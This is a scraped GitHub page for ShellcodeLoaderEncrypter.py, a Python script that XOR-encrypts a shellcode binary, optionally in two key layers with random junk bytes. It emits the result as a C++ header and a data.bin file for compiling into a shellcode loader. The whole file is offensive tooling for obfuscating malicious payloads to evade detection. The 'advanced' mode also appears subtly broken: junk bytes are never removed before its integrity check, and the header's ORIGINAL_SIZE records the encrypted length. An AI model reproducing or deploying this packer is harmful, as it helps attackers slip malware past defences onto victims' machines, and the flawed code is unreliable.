-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathShellcodeLoaderEncrypter.py
More file actions
207 lines (163 loc) · 7.56 KB
/
Copy pathShellcodeLoaderEncrypter.py
File metadata and controls
207 lines (163 loc) · 7.56 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
import sys
import os
import random
from pathlib import Path
from typing import List, Tuple, Optional
class AdvancedXOREncrypter:
def __init__(self, key_size: int = 16):
self.key_size = key_size
self.xor_key = self._generate_key()
self.rolling_key = self._generate_rolling_key()
def _generate_key(self) -> List[int]:
return [random.randint(0, 255) for _ in range(self.key_size)]
def _generate_rolling_key(self) -> List[int]:
return [random.randint(0, 255) for _ in range(8)]
def encrypt_layer1(self, data: bytes) -> bytes:
encrypted = bytearray()
for i, byte in enumerate(data):
key_byte = self.xor_key[i % len(self.xor_key)]
encrypted.append(byte ^ key_byte)
return bytes(encrypted)
def encrypt_layer2(self, data: bytes) -> bytes:
encrypted = bytearray()
for i, byte in enumerate(data):
key_byte = self.rolling_key[i % len(self.rolling_key)]
encrypted.append((byte ^ key_byte ^ (i & 0xFF)))
return bytes(encrypted)
def add_junk_bytes(self, data: bytes, junk_ratio: float = 0.1) -> bytes:
if junk_ratio <= 0:
return data
result = bytearray()
junk_count = int(len(data) * junk_ratio)
junk_positions = sorted(random.sample(range(len(data)), min(junk_count, len(data))))
pos_idx = 0
for i, byte in enumerate(data):
if pos_idx < len(junk_positions) and i == junk_positions[pos_idx]:
result.append(random.randint(0, 255))
pos_idx += 1
result.append(byte)
return bytes(result)
def encrypt_full(self, shellcode: bytes) -> Tuple[bytes, dict]:
layer1 = self.encrypt_layer1(shellcode)
layer2 = self.encrypt_layer2(layer1)
final = self.add_junk_bytes(layer2, junk_ratio=0.05)
return final, {
'xor_key': self.xor_key,
'rolling_key': self.rolling_key,
'original_size': len(shellcode),
'encrypted_size': len(final),
'junk_added': len(final) - len(layer2)
}
def generate_cpp_header(self, encrypted: bytes, output_file: str = "payload.h"):
with open(output_file, 'w') as f:
f.write("// Auto-generated by ShellLoaderEncrypter.py - DO NOT EDIT\n")
f.write("#pragma once\n")
f.write("#include <array>\n")
f.write("#include <cstdint>\n\n")
f.write("namespace Payload {\n\n")
f.write(f" constexpr std::array<uint8_t, {len(encrypted)}> ENCRYPTED = {{\n ")
for i, byte in enumerate(encrypted):
f.write(f"0x{byte:02x}")
if i != len(encrypted) - 1:
f.write(", ")
if (i + 1) % 16 == 0 and i != len(encrypted) - 1:
f.write("\n ")
f.write("\n };\n\n")
f.write(f" constexpr std::array<uint8_t, {len(self.xor_key)}> XOR_KEY = {{\n ")
for i, byte in enumerate(self.xor_key):
f.write(f"0x{byte:02x}")
if i != len(self.xor_key) - 1:
f.write(", ")
f.write("\n };\n\n")
f.write(f" constexpr std::array<uint8_t, {len(self.rolling_key)}> ROLLING_KEY = {{\n ")
for i, byte in enumerate(self.rolling_key):
f.write(f"0x{byte:02x}")
if i != len(self.rolling_key) - 1:
f.write(", ")
f.write("\n };\n\n")
f.write(f" constexpr size_t ORIGINAL_SIZE = {len(encrypted)};\n\n")
f.write(" inline constexpr const char* get_version() {\n")
f.write(' return "encrypted_v2";\n')
f.write(" }\n")
f.write("}\n")
print(f"[+] Generated header: {output_file}")
class SimpleEncrypter:
def __init__(self, key: Optional[List[int]] = None):
self.key = key or [0xDE, 0xAD, 0xBE, 0xEF, 0xCA, 0xFE, 0xBA, 0xBE]
def encrypt(self, data: bytes) -> bytes:
encrypted = bytearray()
for i, byte in enumerate(data):
key_byte = self.key[i % len(self.key)]
encrypted.append(byte ^ key_byte)
return bytes(encrypted)
def generate_header(self, encrypted: bytes, output_file: str = "payload_simple.h"):
with open(output_file, 'w') as f:
f.write(f"constexpr unsigned char encrypted_payload[] = {{\n ")
for i, byte in enumerate(encrypted):
f.write(f"0x{byte:02x}")
if i != len(encrypted) - 1:
f.write(", ")
if (i + 1) % 16 == 0:
f.write("\n ")
f.write(f"\n}};\nconstexpr size_t payload_size = {len(encrypted)};\n")
print(f"[+] Generated simple header: {output_file}")
def main():
if len(sys.argv) < 2:
print("Usage: python3 ShellcodeLoaderEncrypter.py <shellcode.bin> [--advanced] [--output <name>]")
print("\nOptions:")
print(" --advanced : Use advanced encryption (2 layers + junk bytes)")
print(" --output : Custom output header name")
print(" --simple : Use simple XOR (default)")
print("\nExamples:")
print(" python3 ShellcodeLoaderEncrypter.py payload.bin")
print(" python3 ShellcodeLoaderEncrypter.py payload.bin --advanced")
print(" python3 ShellcodeLoaderEncrypter.py payload.bin --output custom_payload.h")
sys.exit(1)
shellcode_file = sys.argv[1]
use_advanced = "--advanced" in sys.argv
output_name = "payload.h"
for i, arg in enumerate(sys.argv):
if arg == "--output" and i + 1 < len(sys.argv):
output_name = sys.argv[i + 1]
if not os.path.exists(shellcode_file):
print(f"Error: {shellcode_file} not found")
sys.exit(1)
with open(shellcode_file, 'rb') as f:
shellcode = f.read()
if len(shellcode) == 0:
print("Error: empty shellcode")
sys.exit(1)
print(f"\nLoaded: {len(shellcode)} bytes from {shellcode_file}")
if use_advanced:
print("Using advanced encryption (2 layers + junk bytes)")
encrypter = AdvancedXOREncrypter(key_size=16)
encrypted, metadata = encrypter.encrypt_full(shellcode)
print(f"XOR Key size: {len(encrypter.xor_key)} bytes")
print(f"Rolling Key size: {len(encrypter.rolling_key)} bytes")
print(f"Junk bytes added: {metadata['junk_added']}")
decrypted = encrypter.encrypt_layer1(encrypter.encrypt_layer2(encrypted))
if decrypted == shellcode:
print("Integrity: PASSED")
else:
print("Integrity: FAILED")
sys.exit(1)
encrypter.generate_cpp_header(encrypted, output_name)
else:
print("Using simple XOR encryption")
encrypter = SimpleEncrypter()
encrypted = encrypter.encrypt(shellcode)
decrypted = encrypter.encrypt(encrypted)
if decrypted == shellcode:
print("Integrity: PASSED")
else:
print("Integrity: FAILED")
sys.exit(1)
encrypter.generate_header(encrypted, output_name)
with open('data.bin', 'wb') as f:
f.write(encrypted)
print(f"Binary payload: data.bin ({len(encrypted)} bytes)")
print(f"C++ header: {output_name}")
print(f"\nReady for C++ loader compilation")
if __name__ == "__main__":
random.seed()
main()